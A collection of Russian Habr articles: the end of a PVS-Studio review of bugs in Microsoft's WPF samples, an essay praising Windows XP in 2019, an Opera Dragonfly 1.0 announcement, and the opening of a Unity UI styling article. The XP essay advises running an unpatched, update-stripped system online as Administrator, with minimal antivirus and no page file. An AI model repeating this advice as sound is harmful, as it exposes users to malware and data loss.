* V3008 The 'columnSpan' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2115, 2101. HtmlToXamlConverter.cs 2115
* V3008 The '\_timerInterval' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 52, 47. ClientForm.cs 52
* V3008 The 'matrix1' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 126, 125. MainWindow.cs 126
* V3008 The 'matrixResult' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 140, 138. MainWindow.cs 140
* V3008 The 'matrixResult' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 351, 349. MainWindow.cs 351
* V3008 The 'matrixResult' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 369, 367. MainWindow.cs 369
* V3008 The 'pointResult' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 480, 478. MainWindow.cs 480
* V3008 The 'columnSpan' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 1930, 1917. htmltoxamlconverter.cs 1930
* V3008 The 'geometry' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 56, 55. MainWindow.xaml.cs 56
* V3008 The 'pathGeometry' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 66, 65. MainWindow.xaml.cs 66
Писать каждый пример смысла нет, тем более нас ожидает ещё много важных и серьезных ошибок.
**3. Пара разнородных ошибок**
Пробрасывая исключения, важно сохранить стек вызова, чтобы потом по логам понять — «а что у пользователя в принципе-то упало». Далеко не все знают, как правильно это делать.
```
public static object InvokePropertyOrMethod(....)
{
try
{
....
}
catch (MissingMethodException e)
{
....
throw e;
}
catch (AmbiguousMatchException e)
{
throw e;
}
return resultObject;
}
```
[V3052](http://www.viva64.com/ru/d/0456/) The original exception object 'e' was swallowed. Stack of original exception could be lost. ReflectionUtils.cs 797
[V3052](http://www.viva64.com/ru/d/0456/) The original exception object 'e' was swallowed. Stack of original exception could be lost. ReflectionUtils.cs 806
Согласно стандарту, если передавать exception выше по стеку вызова функций способом *throw e;*, мы потеряем стек вызова, который был до перехвата исключения в блоке *catch*. Для сохранения всего стека вызова и его дальнейшего продолжения, нужно просто написать одно слово *throw* в блоке *catch* и всё.
Иногда проверки излишни, а иногда их просто не хватает, как например в следующем коде:
```
private static void ParseCssFontFamily(....)
{
....
if (fontFamilyList == null && fontFamily.Length > 0)
{
if (fontFamily[0] == '"' || fontFamily[0] == '\'')
{
// Unquote the font family name
fontFamily =
fontFamily.Substring(1, fontFamily.Length - 2);
....
}
```
[V3057](http://www.viva64.com/ru/d/0460/) The 'Substring' function could receive the '-1' value while non-negative value is expected. Inspect the second argument. HtmlCSSParser.cs 645
Здесь нет проверки, что *fontFamily.Length* больше 1, и в следствии этого вычитания из *fontFamily.Length* числа 2, мы можем получить значение меньше 0. А данная функция в таких случаях выкидывает исключение *ArgumentOutOfRangeException*.
Безопасней было бы написать проверку:
```
if (fontFamilyList == null && fontFamily.Length > 1)
```
**4. WPF ошибка**
DependencyProperty — одна из самых замечательных возможностей WPF. Создавать свойства, которые прямо из коробки могут оповестить разработчика о своём изменении — невероятно удобно. Но главное — не перепутать сигнатуру для их описания, особенно важно об этом помнить, показывая примеры, потому что именно на них люди и ориентируются.
```
public double Radius
{
get { return (double) GetValue(RadiusProperty); }
set { SetValue(RadiusProperty, value); }
}
public static readonly DependencyProperty
RadiusProperty = DependencyProperty.Register(
"RadiusBase",
typeof (double),
typeof (FireworkEffect),
new FrameworkPropertyMetadata(15.0));
```
[V3045](http://www.viva64.com/ru/d/0441/) WPF: the names of the registered property 'RadiusBase', and of the property 'Radius', do not correspond with each other. FireworkEffect.cs 196
В данном конкретном случае, имя, которое зарегистрировано для свойства зависимости, не совпадает с именем свойства-обертки для доступа с DependencyProperty из кода. Такой вариант приводит к большим проблемам при работе из XAML разметки. WPF позволяет из XAML обратиться к простому свойству *Radius* и прочитать от туда значение, но вот изменения данного свойства подхватываться из XAML не будут.
На самом деле, в [PVS-Studio](http://www.viva64.com/ru/pvs-studio-download/) имеется целый ряд диагностик для обнаружения ошибок в сигнатуре создания DependencyProperty [[3044](http://www.viva64.com/ru/d/0440/), [3045](http://www.viva64.com/ru/d/0441/), [3046](http://www.viva64.com/ru/d/0442/), [3047](http://www.viva64.com/ru/d/0443/), [3048](http://www.viva64.com/ru/d/0444/), [3049](http://www.viva64.com/ru/d/0445/)]. Большинство ошибок такого рода приводят к падению программы, как только начинается использование класса c данными свойствами зависимости. Поэтому данные диагностики предназначены именно для того, чтобы избавить вас от поиска и анализа длинных портянок сигнатур, особенно после копирования. Для этого, естественно, нужна регулярная проверка кода, а не только анализ финальной версии программы.
Рассмотрим еще одно интересное срабатывание. В данном случае сработала новая диагностика V3095. Данная диагностика показывает места, где мы сначала обращаемся к переменной, а потом проверяем её на равенство *null*.
```
private static XmlElement AddOrphanListItems(....)
{
Debug.Assert(htmlLiElement.LocalName.ToLower() == "li");
....
XmlNode htmlChildNode = htmlLiElement;
var htmlChildNodeName = htmlChildNode == null
? null
: htmlChildNode.LocalName.ToLower();
....
}
```
V3095 The 'htmlLiElement' object was used before it was verified against null. Check lines: 916, 936. HtmlToXamlConverter.cs 916
В данном случае, в условии тернарного оператора мы проверяем, что переменная *htmlChildNode* может быть *null*. При этом переменная *htmlChildNode* представляет собой не более чем ссылку на переменную *htmlLiElement*. А вот именно к переменной *htmlLiElement* мы обращались без проверки на *null*. В итоге, мы либо имеет код, который никогда не выполнится, либо вообще получим исключение *NullReferenceException* в строке *htmlLiElement.LocalName.ToLower()*.
Кроме описанных ошибок, большое внимание к себе привлекает диагностика под номером [V3072](http://www.viva64.com/ru/d/0475/), которая предназначена для выявления наличия полей с типом, который реализует интерфейс *IDisposable*, но сам класс, где поля объявлены, не имеет подобной реализации.
```
internal class Email
{
private readonly SmtpClient _client;
....
}
```
[V3072](http://www.viva64.com/ru/d/0475/) The 'Email' class containing IDisposable members does not itself implement IDisposable. Inspect: \_client. Email.cs 15
С *IDisposable* всегда было туго. От критических ошибок, в следствии неправильного его использования, кончено, часто спасает *Finalize*, ну, по крайней мере, в стандартных классах. Программисты нередко забивают, забывают, упускают или просто не обращают внимания на поля с типом, реализующим данный интерфейс. Оправдать подобный код или признать в нем наличие ошибки сложно для стороннего взгляда, но есть некоторые паттерны, на которые стоит обратить внимание. В данном Solution, подобных срабатываний набралось тоже не мало.* V3072 The 'HtmlLexicalAnalyzer' class containing IDisposable members does not itself implement IDisposable. Inspect: \_inputStringReader. HtmlLexicalAnalyzer.cs 16
* V3072 The 'MainWindow' class containing IDisposable members does not itself implement IDisposable. Inspect: \_customersTableAdapter, \_nwDataSet… MainWindow.cs 15
* V3072 The 'MainWindow' class containing IDisposable members does not itself implement IDisposable. Inspect: \_listControl. MainWindow.cs 14
* V3072 The 'ThumbViewer' class containing IDisposable members does not itself implement IDisposable. Inspect: \_annStore, \_annotationBuffer. ThumbViewer.xaml.cs 31
* V3072 The 'HtmlLexicalAnalyzer' class containing IDisposable members does not itself implement IDisposable. Inspect: \_inputStringReader. htmllexicalanalyzer.cs 24
* V3072 The 'MainWindow' class containing IDisposable members does not itself implement IDisposable. Inspect: \_store. MainWindow.cs 20
* V3072 The 'MainWindow' class containing IDisposable members does not itself implement IDisposable. Inspect: \_customCursor. MainWindow.cs 14
* V3072 The 'MainWindow' class containing IDisposable members does not itself implement IDisposable. Inspect: \_speechSynthesizer. MainWindow.cs 14
**С++ Ошибки**
--------------
**1. Ошибки при составлении условий инструкции if**
Для меня, конечно, было откровением, что я найду в данном Solution С++ проекты, но тем не менее, ошибки есть ошибки и давайте на них посмотрим.
Как и в C#, начнем с различных сравнений и сразу рассмотрим ту самую С++ ошибку о которой я говорил чуть выше в C# блоке.
```
STDMETHOD(CreateInstance)(....)
{
....
T *obj = new T();
if (NULL != obj)
{
....
}
```
[V668](http://www.viva64.com/ru/d/0293/) There is no sense in testing the 'obj' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. classfactory.h 76
Если оператор *new* не смог выделить память, то, согласно стандарту языка C++, генерируется исключение std::bad\_alloc(). Таким образом, проверять на равенство нулю не имеет смысла, т.к. указатель *obj* никогда не будет равен *NULL*. Если выделить память невозможно, то возникает исключение, которое можно обрабатывать на более высоком уровне, а проверку на равенство *NULL* можно просто удалить. Если исключения в приложении нежелательны, то можно использовать оператор *new*, не генерирующий исключений (*T \*obj = new (std::nothrow) T()*): в этом случае можно проверять возвращаемое значение на ноль. В Solution встретилось еще 4 подобных проверки:* V668 There is no sense in testing the 'colors' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. aitdecoder.cpp 182
* V668 There is no sense in testing the 'pixels' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. aitencoder.cpp 157
* V668 There is no sense in testing the 'colors' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. aitencoder.cpp 221
* V668 There is no sense in testing the 'bytes' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. aitencoder.cpp 275
Лишние условия актуальны в обоих языках программирования:
```
if (bitmapLock && bitmap)
{
if(bitmapLock)
{
bitmapLock->Release();
bitmapLock = NULL;
}
}
```
[V571](http://www.viva64.com/ru/d/0169/) Recurring check. The 'bitmapLock' condition was already verified in line 104. aitdecoder.cpp 106
Некоторые программисты C# не знают, что следующие две операции над *Nullable* типом равнозначные:* \_isInDesignMode != null
* \_isInDesignMode.HasValue
И делают подобные проверки:
```
if (_isInDesignMode != null && _isInDesignMode.HasValue)
```
В C++ любят бессмысленно проверять указатель на null, перед тем как освободить память, выделенную по адресу, на который он указывает.
```
static HRESULT OutputColorContext(....)
{
....
if (pixels)
delete[] pixels;
....
}
```
[V809](http://www.viva64.com/ru/d/0278/) Verifying that a pointer value is not NULL is not required. The 'if (pixels)' check can be removed. aitencoder.cpp 189
```
static HRESULT OutputBitmapPalette(....)
{
....
if (colors)
delete[] colors;
....
}
```
[V809](http://www.viva64.com/ru/d/0278/) Verifying that a pointer value is not NULL is not required. The 'if (colors)' check can be removed. aitencoder.cpp 241
```
static HRESULT OutputColorContext(....)
{
if (bytes)
delete[] bytes;
}
```
[V809](http://www.viva64.com/ru/d/0278/) Verifying that a pointer value is not NULL is not required. The 'if (bytes)' check can be removed. aitencoder.cpp 292
**2. Логическая ошибка**
Следующий код представляет весьма интересную ситуацию логического сравнения, хотя на первый взгляд так и не скажешь:
```
STDMETHODIMP AitDecoder::QueryCapability(....)
{
....
// If this is our format, we can do everything
if (strcmp(bh.Name, "AIT") == 0)
{
*pCapability =
WICBitmapDecoderCapabilityCanDecodeAllImages ||
WICBitmapDecoderCapabilityCanDecodeThumbnail ||
WICBitmapDecoderCapabilityCanEnumerateMetadata ||
WICBitmapDecoderCapabilitySameEncoder;
}
....
}
```
[V560](http://www.viva64.com/ru/d/0153/) A part of conditional expression is always true. aitdecoder.cpp 634
Диагностика посчитала, что часть выражения всегда истина и она права, т.к. слова *WICBitmapDecoderCapabilityCanDecodeXXX* представляют собой просто значения *enum* с именем *WICBitmapDecoderCapabilities*:
```
enum WICBitmapDecoderCapabilities
{
WICBitmapDecoderCapabilitySameEncoder = 0x1,
WICBitmapDecoderCapabilityCanDecodeAllImages = 0x2,
WICBitmapDecoderCapabilityCanDecodeSomeImages = 0x4,
WICBitmapDecoderCapabilityCanEnumerateMetadata = 0x8,
WICBitmapDecoderCapabilityCanDecodeThumbnail = 0x10,
WICBITMAPDECODERCAPABILITIES_FORCE_DWORD = 0x7fffffff
};
```
Как следствие, вероятно, что кто-то просто перепутал символы и вместо побитового ИЛИ "|" написали логическое ИЛИ "||". В отличии от C# компилятора, С++ это легко проглотил.
**3. Ошибки в инициализации и при присвоении переменных**
Кончено, после рефакторинга часто остаются два раза подряд проинициализированные переменные.
```
STDMETHODIMP BaseFrameEncode::WritePixels(....)
{
result = S_OK;
....
result = factory->CreateBitmapFromMemory(....);
}
```
[V519](http://www.viva64.com/ru/d/0108/) The 'result' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 269, 279. baseencoder.cpp 279
Когда переменные инициализируется через несколько строк кода, то легко можно понять человека, почему он промахнулся, но иногда подобные две строчки идут подряд:
```
STDMETHODIMP AitFrameEncode::Commit()
{
HRESULT result = E_UNEXPECTED;
result = BaseFrameEncode::Commit();
....
}
```
[V519](http://www.viva64.com/ru/d/0108/) The 'result' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 320, 321. aitencoder.cpp 321
**Заключение**
--------------
Бытует мнение, что C# код менее подвержен ошибкам, чем С++; в определенных случаях это действительно так. Однако, интересный факт состоит в том, что основная масса ошибок находится не в специфических конструкциях, а в простых выражениях. Например, в условиях инструкции *if*. Статический анализатор кода для [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) C, C++ и C# позволит вам контролировать качество вашего кода и всеми силами будет уберегать вас от фатальных ошибок, которые могут дойти до вашего пользователя.
[](http://www.viva64.com/en/b/0407/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Alferov Vitalii. [Source code of WPF samples by Microsoft was checked](http://www.viva64.com/en/b/0407/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/304206/ | null | ru | null |
# Почему Windows XP в 2019 году по-прежнему рулит, или ЧЯДНТ?
На Хабре в комментариях к статьям о выходе новых версий операционных систем, выпуске новых моделей ноутбуков, накопителей данных, модулей памяти и т.п. регулярно высказывается мнение о том, что только наипоследнейшая версия операционной системы известного вендора даёт возможность современному гику ~~не скатиться в унылое г… о~~чувствовать себя человеком, и только тот, у кого ~~стоит~~установлена Windows 8, 10, 11, 9000 (нужное подчеркнуть), будет пользоваться популярностью у ~~девушек~~работодателей и клиентов. По причинам изложенным ниже я полагаю таковое мнение глубоко ошибочным и даже ущербным, показывающем неспособность владельца компьютера оптимально использовать имеющиеся в его распоряжении аппаратные и программные ресурсы.
Ниже описана система, которая и в 2019 году даёт возможность своему хозяину, работающему в области ИТ **не**программисту, без проблем улаживать всевозможные компьютерные дела и используется для сёрфинга по интернету, скачивания торрентов, ведения домашней бухгалтерии, переписки по электронной почте, общения со знакомыми через аудио- и видео-конференции, взаимодействия с банками и госучреждениями, создания презентаций и лекций, любительской обработки фотографий и создания и редактирования любительского же домашнего видео (для его просмотра не на компьютере), пополнения и ведения коллекции музыкальных записей (для их прослушивания не на компьютере), записи архивов на CD- и DVD-диски и пр. и пр.
Железо
------
Свой ноутбук я приобрёл в далёком уже 2010 году за 300 канадских долларов (~250 USD). Я всегда покупаю самые дешёвые компьютеры, и уже на тот момент лэптоп не мог похвастаться превосходными характеристиками:
* **Процессор**: AMD Turion II Dual-Core M600
* **Частота процессора**: 2.4 ГГц
* **Видеокарта**: Radeon 4200
* **Объём оперативной памяти**: 2 ГБ
* **Жёсткий диск**: 140 ГБ, SATA
* **Дисковод**: DVD-RW
* **Разъёмы расширения и порты**: 3 x USB 2.0, SD кардридер, VGA, HDMI, ethernet, wi-fi.
Замечу, что дешевизна компьютера дала себя знать и впоследствии мне пришлось поменять многие компоненты — техника Hewlett Packard не славится своей надёжностью и долговечностью. Но статья всё-таки не о железной начинке, а об операционной системе и наборе программ и утилит, счастливо живущих под управлением «устаревшей» ОС на этом простеньком, особенно по нынешним меркам, железе.
ПО
--
### Windows XP
Ноутбук поставлялся с предустановленной Windows 7. Поколдовав с nLite, для того чтобы внедрить в файлы инсталляции SATA-драйвер для жёсткого диска (это потребовалось, потому как BIOS ноутбука не имел опции переключения интерфейсов IDE/SATA), я смог установить Windows XP с Service Pack 2, которая после оптимизации стала шустро работать в следующей конфигурации:
* объём занимаемой оперативной памяти: ~300 МБ,
* объём файлов ОС на диске: 211 МБ (не считая драйвера принтера),
* файл подкачки: 0 МБ,
* полное отсутствие Internet Explorer и любых его библиотек и следов (кроме папок Content.IE5 и History.IE5 размером по 32768 байт),
* запущенные службы:
Большинство остальных служб или отключены, или вообще удалены (через Far), включая службу Windows update,
* в системе установлен только один пользователь: Администратор.
Отдельно хотелось бы остановиться на отключении файла подкачки.
Необходимость наличия файла подкачки в операционных системах Microsoft является чрезвычайно распространённым мифом — считается, что при его отключении система становится полностью неработоспособной, виснет, вылетает, появляются синие «экраны смерти», ~~винчестер переходит на резонансную частоту, разрушается и разрывает системный блок в клочья~~… Из всех страшилок реальной проблемой на самом деле является одна — когда запущенная программа потребляет всю доступную оперативную память и падает, поскольку этой памяти ей не хватило. Ну, в общем-то, это и всё. В компьютерах, в которых используются ресурсоёмкие программы и пакеты (Google Chrome, IDEs, MS Office и т.п.), достаточно установить немного больше оперативки, в системах же, в которых работа с объёмными программами не ведётся — ~~640 КБ хватит всем~~ 2-4 ГБ оперативной памяти будет достаточно для комфортной работы софта, — и файл подкачки можно полностью отключать!
Однако, отключение swap-файла несёт в себе куда больше преимуществ, чем его использование: программы и утилиты потребляют только быструю оперативную память, не записывают и не считывают постоянно данные в/из свопа, работа с пользовательскими файлами осуществляется гораздо быстрее, потому что операционной системе нет нужды ожидать, когда же какая-либо из программ закончит «свопиться». Все мы сталкивались с ситуацией, когда необходимо быстро открыть/отредактировать/распечатать файл с диска, а компьютер «свопится», индикатор работы жёсткого диска горит не переставая, интерфейс системы теряет отзывчивость, начальник орёт, заказчик топает ногами и рвёт волосы на голове ~~у разработчика~~ — так вот, поверьте моему многолетнему опыту работы за самыми разнообразными рабочими станциями, что отключение свопа повышает быстродействие Windows-машины без преувеличения в разы(!) и практически не влияет на устойчивость её работы. Я пишу «практически» лишь потому, что честно отмечаю — вылеты программ случаются, но они единичны, их можно прогнозировать и успешно предотвращать.
Когда на новом месте работы мне выдают персональный компьютер, после получения административного контроля над ним я первым делом иду в системные настройки и отключаю файл-подкачки. Всегда! Я делал так в Windows 98, XP, 7, 8 — и нигде и никогда не испытывал проблем с нехваткой оперативной памяти и частым вылетом программ. При этом вполне понятно, что я не стал бы поступать себе во вред, наоборот — отключая файл подкачки я делаю собственную работу более эффективной и сохраняю волосы на голове себе, разработчикам, заказчикам.
### Набор программ и утилит
Лет двадцать назад я сокрушался с друзьми по поводу того, что программы стали расти в размерах, но лучше от этого не становились. И тогда же в шутку озвучил критерий годного ПО, который в своём сильном виде звучал следующим образом:
> `"Хорошая программа должна без сбоев выполнять все заявленные функции, работать быстро, не требовать инсталляции и помещаться на дискетке."`
(Имелся в виду флоппи-диск объёмом 1,44 МБ.) В слабом виде критерий выглядел чуть менее категорично:
> `"Хорошая программа должна без сбоев выполнять все заявленные функции, работать быстро, не требовать инсталляции и помещаться на дискетке в заархивированном виде."`
С тех пор прошло почти четверть века, но мой критерий остаётся всё таким же жёстким: если программа занимает больше 3-х мегабайт или для своего функционирования требует дополнительных компонентов, типа .Net Framework, запускается чуть дольше, чем мгновенно, и требует инсталляции для того, чтобы начать работать — такая поделка без сожаления отправляется в корзину. Разумеется, имеются исключения, как например профессиональное ПО, современные браузеры или пакеты для обработки видео или графики, но большинство качественных утилит, которые необходимы в работе обычному пользователю, и на сегодняшний день невелики в размерах.
Полный пакет программ и утилит, которыми я регулярно пользуюсь, занимает примерно 700 МБ, из которых четвертую часть — словарь MultiTran (175 МБ).
Известно, что у каждого настоящего компьютерщика, не развращенного новейшими поделками ~~говнокодеров~~современных программистов, имеется свой набор утилиток на все случаи компьютерной жизни, этакий «швейцарский нож». Ниже я отдельно отмечу некоторые программы из собственного компактного «патронташа»:
* **Softmaker Office 2012** (TextMaker, PlanMaker, Presentations), $29. До того, как я открыл для себя этот супер-компактный (16(!) МБ, без файлов справки и словарей), но в тоже время необычайно функциональный офисный пакет, я долго мучался с Open Office, Libre Office, AbiWord и пр. бесплатными программами для работы с документами MS Office-форматов — все они были или большими и неповоротливыми, или неудобными, или всё вместе. Softmaker Office избавил меня от злоключений с обновлениями в форматах файлов DOC и XLS, совместимостью и прочей головной болью. В дополнение, Presentations содержит свои собственные варианты анимаций, которые отсутствуют в Powerpoint, что приятно позволяет удивлять аудиторию во время презентаций.
* **EssentialPIM**. Компактный, быстрый, недорогой планировщик личных дел, $19.95. «Летает», занимает в памяти всего 36 МБ, версии до 6.57 включительно не перешли на моднявый интерфейс а-ля Windows 8 и соответственно на экране в стандартном разрешении умещается уйма информации.
* **AbilityCash**. Крохотная программа для учёта личных финансов, пользуюсь ею уже почти 10 лет.
* **ACDSee Classic 2.43**. Не умеет в файлы в RAW формате и распечатывать изображения на нескольких листах бумаги (постеры), но по-прежнему не превзойдена в скорости работы с файлами графики и в функциональности. Например, для того, чтобы поправить ориентацию фотографий загруженных с карты памяти из фотоапрарата — надо всего лишь выделить нужные и нажать Ctrl+R.
* **Foxit Reader PDF 2.3**. Открытие PDF-файлов происходит почти мгновенно и нет опасений подхватить вирус через зловредный PDF-документ, как например в Adobe Reader.
* **Firefox 52.9 esr** — это последняя версия Огнелиса, которая работает под Windows XP, и используется мною для работы с сайтами, просмотр которых в Опере 12.18 “хромает”.
* **Антивирус**. Я пользуюсь вот этим:
Nuff said. Добавлю лишь, что при наличии полного отсутствия IE и каких-либо его компонентов, отключении всех ненужных системных служб, физического отсутствия DLL-файлов ненужных библиотек на диске (ОС была оптимизирована с помощью nLite; общий размер инсталляции — всего 159 МБ) — для вирусов остаётся минимальное количество лазеек даже в устаревшей и необновляемой системе.
### Быстродействие
* Скорость загрузки ОС (с НЖМД) с момента нажатия на кнопку «Вкл.»: 24 сек.
* Запуск некоторых наиболее часто используемых программ:
+ Opera 12.18: 2 сек.
+ Firefox: 13 сек.
+ ClawsMail: 2 сек.
+ TextMaker, открытие текстового документа из FAR: 2 сек.
+ FoxIt Reader: открытие PDF-файла из FAR: 2 сек.
+ Skype 5.5: 3 сек.
+ ACDSee: <1 сек.
+ RawTherapee 5.0: 7 сек.
+ WinAmp 5.33, открытие mp3-файла из FAR: <1 сек.
+ PowerAmp 1.6: 2 сек.
### Примечания
* **Dual-boot**. На лэптопе сконфигурирована возможность загрузки двух ОС: Windows XP и MS-DOS. Я держу MS-DOS на случай критичных ситуаций, как то сбой системы или появление вируса.
* **Лицензии на ПО**. Лицензия на Windows XP досталась мне по наследству от другого ноутбука. Softmaker Office был первым программным продуктом (под Windows), который я купил. Остальное ПО или бесплатно, или ~~украдено~~ оно настолько древнее, что в настоящее время затруднительно установить, кому переводить за него деньги, просто потому, что создавшие его компании давно не существуют.
* **.Net Framework**. ~~Абсолютное зло.~~ Отсутствует; если можно найти альтернативы, которые не требуют установки этого монстра — то зачем пользоваться программами, которым он нужен?
* **Skype**. Для разговоров ~~с пра-прабабушкой~~ использую версию 5.5, потому что у ~~пра-прабабушки~~ многих знакомых на компьютерах тоже установлена Windows XP, а современные версии поделия от MS со старыми версиями не совместимы.
* **Ярлыки программ**. В Windows имеется известная, но малоиспользуемая функция запуска программ через их ярлыки по сочетаниям клавиш:
Это позволяет в любой момент по нажатию трёх клавиш на клавиатуре запускать программы, которыми очень часто пользуешься. Например у меня таким образом настроен запуск следующих программ и утилит (сочетание Ctrl+Alt+ используется вместо сочетания Ctrl+Shift+, чтобы не конфликтовать с переключением раскладки клавиатуры):
+ Calculator (Ctrl+Alt+C)
+ MultiTran, англ.-рус. словарь (Ctrl+Alt+M)
+ FS Capture, снимок экрана (Ctrl+Alt+S)
+ WinAmp (Ctrl+Alt+W)
+ PotPlayer (Ctrl+Alt+P)
Upgrade
-------
Со времени приобретения мой компьютер подвергся совсем незначительной модернизации (не учитывая замену вышедших из строя комплектующих на полностью аналогичные), которая тем не менее позволила сделать работу под Windows XP ещё более быстрой и комфортной: был увеличен размер оперативной памяти с 2-х до 3-х ГБ (как известно, 3 гигабайта — это максимальный объём оперативной памяти, который Windows XP может адресовать) и одноядерный процессор AMD Sempron 2.1 ГГц был заменён на двухядерный AMD Turion II 2.4 ГГц. Последняя замена, обошедшаяся мне всего в 13 канадских долларов, превратила, как мне показалось, мой ноутбук в суперкомпьютер Cray: изрядно покурив, чем же halmacpi.dll отличается от halaсpi.dll и halapic.dll, я смог интегрировать поддержку многоядерного процессора в ядро ОС. И когда в диспетчере задач наконец появился двойной график загрузки ЦП, по одному на каждое ядро — моей радости не было предела: теперь компьютер не подвисает намертво при чтении некоторых наиболее глюкавых сайтов и просмотр FullHD видео с многоканальным звуком с видеокамеры не тормозит совсем уж безбожно.
ЧЯДНТ?
------
Описанная система не используется в качестве нетребовательного к вычислительным ресурсам файлового или медиа- сервера, BBS-ки или прочего вспомогательного второстепенного оборудования, которое у многих «крутится на антресоли» — она используется в каждодневных и временами весьма неотложных делах. Когда, после замены процессора, у меня стал появляться «снег» на мониторе, а затем и «синие экраны» (я почему-то не подумал, что для нового процессора не будет достаточно старой и высохшей термопасты, соскобленной ногтём с заменяемого процессора), я сильно перепугался и побежал искать замену — и за 130 долларов купил совершенно такой же ноутбук, чтобы заново не возиться с оптимизацией ОС, поиском драйверов и т.п. и чтобы быть уверенным, что «новый» компьютер будет работать так же быстро, как и «старый».
Через 15 лет после своего выпуска Windows XP по-прежнему верой и правдой служит тем, кто умеет её правильно ~~готовить~~настраивать и использовать. Поэтому, если вас достал ваш супер-современный и дорогущий, работающий под управлением распоследней ОС, но постоянно тормозящий компьютер, и вам хочется ~~убить себя ап стену~~избавить себя от головной боли — знакомьтесь поближе с такими сайтами как [pricelessware.org](http://pricelessware.org), [freewarefiles.com](http://freewarefiles.com) и [oldversion.com](http://oldversion.com), обзаводитесь драйверами под замечательную ОС Windows XP, устанавливайте её без страха и упрёка и — вперёд в прекрасное прошлое! | https://habr.com/ru/post/434594/ | null | ru | null |
# Opera Dragonfly 1.0
Сегодня вышла финальная версия инструментов для разработчика [Opera Dragonfly 1.0](http://www.opera.com/dragonfly/), встроенных в браузер Opera. Открыть их проще простого: просто нажмите **Ctrl + Shift + I** или **⌘ + ⌥ + I**, в зависимости от вашей системы, или выберите «Проинспектировать элемент» для любого блока на странице. Opera Dragonfly представляет собой HTML5-приложение, которое запускается в браузере и может работать как онлайн (поэтому у вас всегда будет актуальная версия), так и офлайн при помощи технологии [AppCache из спецификации HTML5](http://developers.whatwg.org/offline.html). Исходники приложения [доступны на Bitbucket](https://bitbucket.org/scope/dragonfly-stp-1/overview).
#### Основные инструменты, со ссылками на [документацию](http://www.opera.com/dragonfly/documentation/)
* [Инспектор DOM](http://www.opera.com/dragonfly/documentation/dom/)
* [Отладчик JavaScript](http://www.opera.com/dragonfly/documentation/debugger/)
* [Сетевой инспектор](http://www.opera.com/dragonfly/documentation/network/)
* [Инспектор ресурсов](http://www.opera.com/dragonfly/documentation/resources/)
* [Инспектор хранилища](http://www.opera.com/dragonfly/documentation/storage/)
* [Журнал ошибок](http://www.opera.com/dragonfly/documentation/errorlog/)
* [Консоль](http://www.opera.com/dragonfly/documentation/console/)
* [Удалённый отладчик](http://www.opera.com/dragonfly/documentation/remote/)
Раньше для того, чтобы попробовать новую версию, приходилось править `opera:config` и внимательно следить за экспериментальными ветками в [блоге разработчиков](http://my.opera.com/dragonfly/blog/), но сейчас новый Dragonfly переехал по умолчанию во все браузеры Opera. Убедиться в том, что вы используете стабильную ветку можно следующим образом:
* Откройте Opera и перейдите по ссылке: `opera:config#DeveloperTools|DeveloperToolsURL`
* Убедитесь в том, что там стоит значение по умолчанию: https://dragonfly.opera.com/app/ — для этого вы можете просто нажать кнопку «По умолчанию» и перезапустить браузер.
#### Локализация
Мы постарались перевести Opera Dragonfly на русский язык как можно ближе к тому, как говорят разработчики. Но есть ещё куда двигаться: если вы нашли какие-то неточности, непереведённые места или знаете как сформулировать перевод удачнее — пишите мне на [pepelsbey@opera.com](mailto:pepelsbey@opera.com).
#### Обзор возможностей
И напоследок: небольшой скринкаст Брюса Лоусона, демонстрирующий работу с новым отладчиком Opera Dragonfly. | https://habr.com/ru/post/118735/ | null | ru | null |
# Автоверстка и стили в Unity: наш новый пайплайн и инструменты для UI
Начну с главного: мы сделали удобный инструмент для верстки и изменили пайплайн работы. Теперь по порядку.
В мобильных играх много разных интерфейсов, включая HUD и огромное количество экранов для меты. UX-дизайнеры их проектируют, UI-дизайнеры отрисовывают, а чтобы всё это оказалось в движке существуют специально обученные люди — технические UI-дизайнеры. Ну или по-простому верстальщики. Частично их работа заключается в том, чтобы кропотливо из PSD-макета перенести все в префаб, чиселку за чиселкой. Еще они занимаются UI-анимациями, заливают спрайты, делают верстку адаптивной, расставляют ключи локализаций и так далее.
И мы поставили себе несколько целей:
* ускорить работу верстальщика и избавить его от рутины;
* оптимизировать взаимодействие между отделами UI-дизайна и разработки;
* внести в UI единообразие: создать гайдлайны и сформировать на их основе Unity-ассеты;
* обеспечить расширяемость и универсальность UI, реюзабельность ассетов, устойчивость к правкам, и легкую оптимизацию.
Вот как это происходило.
Мы попытались создать некую дизайн-систему из средств движка Unity и Adobe Photoshop (который, кажется, кроме геймдева, мало где используется для создания интерфейсов). Грубо говоря, перед нами стояла задача подружить Photoshop и Unity.
В первую очередь нужно было спроецировать весь набор «визуального языка» в Unity. Для этого мы выбрали стили и подстроили их под собственные нужды. Это довольно распространенная практика среди компаний. Так набор шрифтов стал стилем со шрифтами, набор лейаутов стал стилем со спрайтами этих лейаутов, набор цветов — стилем с цветами и так далее. Достаточно было один раз создать все это, а потом просто переиспользовать и дополнять вместе с расширением psd с гайдлайнами. Таким образом UI-дизайнер вынужден отказаться от 1001 подложки на разных экранах и создать несколько универсальных.
Текущие стили, которые есть:
1. **Color Style** <Название, Цвет>
2. **Text Style** <Название, Шрифт, Размер шрифта, Материал шрифта, Межстрочный интервал>
3. **Font Style** <Название, Шрифт, Материал шрифта>
